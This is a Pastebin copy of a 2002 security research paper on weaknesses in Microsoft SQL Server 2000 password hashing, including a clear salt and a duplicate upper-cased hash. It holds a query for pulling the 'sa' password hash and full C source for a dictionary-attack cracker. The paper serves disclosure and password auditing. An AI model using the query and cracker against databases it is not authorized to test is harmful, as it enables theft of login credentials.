xdxdxd123

cracking sql passwords

May 22nd, 2017
145
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.52 KB | None | 0 0
  1. NGSSoftware Insight Security Research
  2. A NGSSoftware Insight Security Research Publication
  3. Microsoft SQL Server Passwords
  4. (Cracking the password hashes)
  5. David Litchfield
  6. (david@ngssoftware.com)
  7. 24 th June 2002
  8. www.ngssoftware.com
  9. 1
  10. NGSSoftware Insight Security Research
  11. How does SQL Server store passwords?
  12. SQL Server uses an undocumented function, pwdencrypt() to produce a hash of the user's
  13. password, which is stored in the sysxlogins table of the master database. This is probably a fairly
  14. common known fact. What has not been published yet are the details of the pwdencrypt()
  15. function. This paper will discuss the function in detail and show some weaknesses in the way
  16. SQL Server stores the password hash. In fact, as we shall see, later on I should be saying,
  17. 'password hashes'.
  18. What does an SQL password hash look like?
  19. Using Query Analyzer, or the SQL tool of your choice, run the following query
  20. select password from master.dbo.sysxlogins where name='sa'
  21. You should get something that looks similar to the following returned.
  22. 0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6
  23. F649BA954AFF4057056D9B
  24. This is the hash of the 'sa' login's password on my machine.
  25. What can we derive from pwdencrypt() about the hash?
  26. Time
  27. The query
  28. select pwdencrypt('foo')
  29. produces
  30. 0x0100544115053E881CA272490C324ECE22BF17DAF2AB96B1DC9A7EAB644BD218
  31. 969D09FFB97F5035CF7142521576
  32. but several seconds later repeating the query
  33. select pwdencrypt('foo')
  34. produces
  35. 0x0100D741861463DFFF7B5282BF4E5925057249C61A696ACB92F532819DC22ED6B
  36. E374591FAAF6C38A2EADAA57FDF
  37. The two hashes are different and yet the input, ‘foo’, is the same. From this we can deduce that
  38. time must play an important part in the way password hashes are created and stored. The design
  39. reasons behind this will be such that if two people use the same password then their hashes will
  40. be different - thus disguising the fact that their passwords are the same.
  41. 2
  42. NGSSoftware Insight Security Research
  43. Case
  44. Run the query
  45. select pwdencrypt('AAAAAA')
  46. which produces
  47. 0x01008444930543174C59CC918D34B6A12C9CC9EF99C4769F819B43174C59CC918
  48. D34B6A12C9CC9EF99C4769F819B
  49. Now, we can note that there are probably two password hashes here. If you can't spot it
  50. immediately let me break it down
  51. 0x0100
  52. 84449305
  53. 43174C59CC918D34B6A12C9CC9EF99C4769F819B
  54. 43174C59CC918D34B6A12C9CC9EF99C4769F819B
  55. As can be seen, the last 40 characters are the same as the penultimate 40 characters. This
  56. suggests that passwords are stores twice. One of them is the normal case sensitive password
  57. and the other is the upper-cased version of the password. This is not good as any one attempting
  58. to crack SQL passwords now has an easier job. Rather than having to break a case sensitive
  59. password they need only go after the upper-cased version. This reduces the number of
  60. characters they need to attempt considerably.
  61. Clear Salt
  62. From what we know already, that changes in time will produce a change in the hash, there must
  63. be something about time that makes the password hashes different and this information must be
  64. readily available so when someone attempts to login a comparison can be performed against the
  65. hash derived from the password they supply and the hash stored in the database. In the
  66. breakdown of results from pwdencrypt() above the 84449305 portion is this piece of information.
  67. This number is derived in the following fashion. The time () C function is called and used as a
  68. seed passed to the srand() function. srand() sets a start point to be used for producing a series of
  69. (pseudo)random numbers. Once srand is seeded the rand() function is called to produce a
  70. pseudo random number. This number is an integer; however SQL server converts this to a short
  71. and sets it aside. Lets call this number SN1. The rand() function is called again producing another
  72. pseudo random integer which, again, is converted into a short. Let's call this number SN2. SN1
  73. and SN2 are joined to produce an integer. SN1 becoming the most significant part and SN2 the
  74. least significant part : SN1:SN2 to produce a salt. This salt is then used to obscure the password.
  75. Hashing the password
  76. The user's password is converted to it's UNICODE version if not already in this form. The salt is
  77. then appended to the end. This is then passed to the crypt functions in advapi32.dll to produce a
  78. hash using the secure hashing algorithm or SHA. The password is then converted to its upper
  79. case form, the salt tacked onto the end and another SHA hash is produced.
  80. 0x0100 Constant Header
  81. 84449305 Salt from two calls to rand()
  82. 43174C59CC918D34B6A12C9CC9EF99C4769F819B Case Sensitive SHA Hash
  83. 43174C59CC918D34B6A12C9CC9EF99C4769F819B Upper Case SHA Hash
  84. 3
  85. NGSSoftware Insight Security Research
  86. The Authentication Process
  87. When a user attempts to authenticate to SQL Server several things happen to do this. Firstly SQL
  88. Server examines the password entry for this user in the database and extracts the "salt" -
  89. 84449305 - in the example. This is then appended to the password the user supplies when
  90. attempting to log in and a SHA hash is produced. This hash is compared with the hash in the
  91. database and if they match the user is authenticated - and of course if the compare fails then the
  92. login attempt fails.
  93. SQL Server Password Auditing
  94. This is done in the same manner that SQL Server attempts to authenticate users. Of course, by
  95. far the best thing to do is, first off, is attempt to brute force the hash produced from the upper-
  96. cased version. Once this has been guessed then it is trivial to workout the case sensitive
  97. password.
  98. Source Code for a simple command line dictionary attack tool
  99. /////////////////////////////////////////////////////////////////////////////////
  100. //
  101. // SQLCrackCl
  102. //
  103. // This will perform a dictionary attack against the
  104. // upper-cased hash for a password. Once this
  105. // has been discovered try all case variant to work
  106. // out the case sensitive password.
  107. //
  108. // This code was written by David Litchfield to
  109. // demonstrate how Microsoft SQL Server 2000
  110. // passwords can be attacked. This can be
  111. // optimized considerably by not using the CryptoAPI.
  112. //
  113. // (Compile with VC++ and link with advapi32.lib
  114. // Ensure the Platform SDK has been installed, too!)
  115. //
  116. //////////////////////////////////////////////////////////////////////////////////
  117. #include <stdio.h>
  118. #include <windows.h>
  119. #include <wincrypt.h>
  120. FILE *fd=NULL;
  121. char *lerr = "\nLength Error!\n";
  122. int wd=0;
  123. int OpenPasswordFile(char *pwdfile);
  124. int CrackPassword(char *hash);
  125. int main(int argc, char *argv[])
  126. {
  127. int err = 0;
  128. 4
  129. NGSSoftware Insight Security Research
  130. if(argc !=3)
  131. {
  132. printf("\n\n*** SQLCrack *** \n\n");
  133. printf("C:\\>%s hash passwd-file\n\n",argv[0]);
  134. printf("David Litchfield (david@ngssoftware.com)\n");
  135. printf("24th June 2002\n");
  136. return 0;
  137. }
  138. err = OpenPasswordFile(argv[2]);
  139. if(err !=0)
  140. {
  141. return printf("\nThere was an error opening the password file %s\n",argv[2]);
  142. }
  143. err = CrackPassword(argv[1]);
  144. fclose(fd);
  145. printf("\n\n%d",wd);
  146. return 0;
  147. }
  148. int OpenPasswordFile(char *pwdfile)
  149. {
  150. fd = fopen(pwdfile,"r");
  151. if(fd)
  152. return 0;
  153. else
  154. return 1;
  155. }
  156. int CrackPassword(char *hash)
  157. {
  158. char phash[100]="";
  159. char pheader[8]="";
  160. char pkey[12]="";
  161. char pnorm[44]="";
  162. char pucase[44]="";
  163. char pucfirst[8]="";
  164. char wttf[44]="";
  165. char uwttf[100]="";
  166. char *wp=NULL;
  167. char *ptr=NULL;
  168. int cnt = 0;
  169. int count = 0;
  170. unsigned int key=0;
  171. unsigned int t=0;
  172. unsigned int address = 0;
  173. unsigned char cmp=0;
  174. unsigned char x=0;
  175. HCRYPTPROV hProv=0;
  176. HCRYPTHASH hHash;
  177. 5
  178. NGSSoftware Insight Security Research
  179. DWORD hl=100;
  180. unsigned char szhash[100]="";
  181. int len=0;
  182. if(strlen(hash) !=94)
  183. {
  184. return printf("\nThe password hash is too short!\n");
  185. }
  186. if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))
  187. {
  188. hash = hash + 2;
  189. strncpy(pheader,hash,4);
  190. printf("\nHeader\t\t: %s",pheader);
  191. if(strlen(pheader)!=4)
  192. return printf("%s",lerr);
  193. hash = hash + 4;
  194. strncpy(pkey,hash,8);
  195. printf("\nRand key\t: %s",pkey);
  196. if(strlen(pkey)!=8)
  197. return printf("%s",lerr);
  198. hash = hash + 8;
  199. strncpy(pnorm,hash,40);
  200. printf("\nNormal\t\t: %s",pnorm);
  201. if(strlen(pnorm)!=40)
  202. return printf("%s",lerr);
  203. hash = hash + 40;
  204. strncpy(pucase,hash,40);
  205. printf("\nUpper Case\t: %s",pucase);
  206. if(strlen(pucase)!=40)
  207. return printf("%s",lerr);
  208. strncpy(pucfirst,pucase,2);
  209. sscanf(pucfirst,"%x",&cmp);
  210. }
  211. else
  212. {
  213. return printf("The password hash has an invalid format!\n");
  214. }
  215. printf("\n\n Trying...\n");
  216. if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0))
  217. {
  218. if(GetLastError()==NTE_BAD_KEYSET)
  219. {
  220. // KeySet does not exist. So create a new keyset
  221. if(!CryptAcquireContext(&hProv,
  222. 6
  223. NGSSoftware Insight Security Research
  224. NULL,
  225. NULL,
  226. PROV_RSA_FULL,
  227. CRYPT_NEWKEYSET ))
  228. {
  229. printf("FAILLLLLLL!!!");
  230. return FALSE;
  231. }
  232. }
  233. }
  234. while(1)
  235. {
  236. // get a word to try from the file
  237. ZeroMemory(wttf,44);
  238. if(!fgets(wttf,40,fd))
  239. return printf("\nEnd of password file. Didn't find the password.\n");
  240. wd++;
  241. len = strlen(wttf);
  242. wttf[len-1]=0x00;
  243. ZeroMemory(uwttf,84);
  244. // Convert the word to UNICODE
  245. while(count < len)
  246. {
  247. uwttf[cnt]=wttf[count];
  248. cnt++;
  249. uwttf[cnt]=0x00;
  250. count++;
  251. cnt++;
  252. }
  253. len --;
  254. wp = &uwttf;
  255. sscanf(pkey,"%x",&key);
  256. cnt = cnt - 2;
  257. // Append the random stuff to the end of
  258. // the uppercase unicode password
  259. t = key >> 24;
  260. x = (unsigned char) t;
  261. uwttf[cnt]=x;
  262. cnt++;
  263. t = key << 8;
  264. t = t >> 24;
  265. 7
  266. NGSSoftware Insight Security Research
  267. x = (unsigned char) t;
  268. uwttf[cnt]=x;
  269. cnt++;
  270. t = key << 16;
  271. t = t >> 24;
  272. x = (unsigned char) t;
  273. uwttf[cnt]=x;
  274. cnt++;
  275. t = key << 24;
  276. t = t >> 24;
  277. x = (unsigned char) t;
  278. uwttf[cnt]=x;
  279. cnt++;
  280. // Create the hash
  281. if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
  282. {
  283. printf("Error %x during CryptCreatHash!\n", GetLastError());
  284. return 0;
  285. }
  286. if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
  287. {
  288. printf("Error %x during CryptHashData!\n", GetLastError());
  289. return FALSE;
  290. }
  291. CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
  292. // Test the first byte only. Much quicker.
  293. if(szhash[0] == cmp)
  294. {
  295. // If first byte matches try the rest
  296. ptr = pucase;
  297. cnt = 1;
  298. while(cnt < 20)
  299. {
  300. ptr = ptr + 2;
  301. strncpy(pucfirst,ptr,2);
  302. sscanf(pucfirst,"%x",&cmp);
  303. if(szhash[cnt]==cmp)
  304. cnt ++;
  305. else
  306. {
  307. break;
  308. }
  309. }
  310. if(cnt == 20)
  311. {
  312. 8
  313. NGSSoftware Insight Security Research
  314. // We've found the password
  315. printf("\nA MATCH!!! Password is %s\n",wttf);
  316. return 0;
  317. }
  318. }
  319. count = 0;
  320. cnt=0;
  321. }
  322. return 0;
  323. }
  324. NGSSoftware have created a GUI based SQL password cracker that does not use the CryptoAPI
  325. and is, consequently, much faster. For a trial version of this cracker please see
  326. http://www.nextgenss.com/products/ngssqlcrack.html.
  327. 9
Add Comment
Please, Sign In to add comment